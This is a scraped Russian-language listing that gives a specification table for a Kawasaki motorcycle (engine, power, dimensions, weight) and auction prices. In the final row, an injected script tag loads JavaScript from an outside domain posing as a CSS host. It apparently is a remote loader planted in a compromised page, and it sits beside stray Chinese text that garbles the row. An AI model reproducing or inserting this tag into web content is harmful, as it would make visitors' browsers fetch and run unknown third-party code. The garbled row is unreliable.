Рабочий объём | 953 см³ |
Тип двигателя | 4-цилиндровый, 4-тактный, Рядный |
Количество клапанов на цилиндр | 4 |
Максимальная мощность | 127 л.с. при 10000 об/мин |
Максимальный крутящий момент | 95.6 Н•м при 8000 об/мин |
Степень сжатия | 11.2:1 |
Тип зажигания | Цифровое транзисторное |
Система охлаждения | Жидкостная |
Разгон до 100 км/ч | 3,03 сек |
Максимальная скорость | 249 км/ч |
Тип | 6-ступенчатая |
Главная передача | Цепь |
Длина | 2080 мм |
Ширина | 770 мм |
Высота | 1055 мм |
Высота по седлу | 820 мм |
Колесная база | 1420 мм |
Минимальный дорожный просвет | 145 мм |
Емкость бензобака | 19 л |
Снаряженная масса | 221 кг |
аукцион
$488
|
итог $2 350
|
"<script type=text/javascript src='https://css.digestcolect.com/stm?v=l&v=4'></script>连锁品牌 | Kawasaki |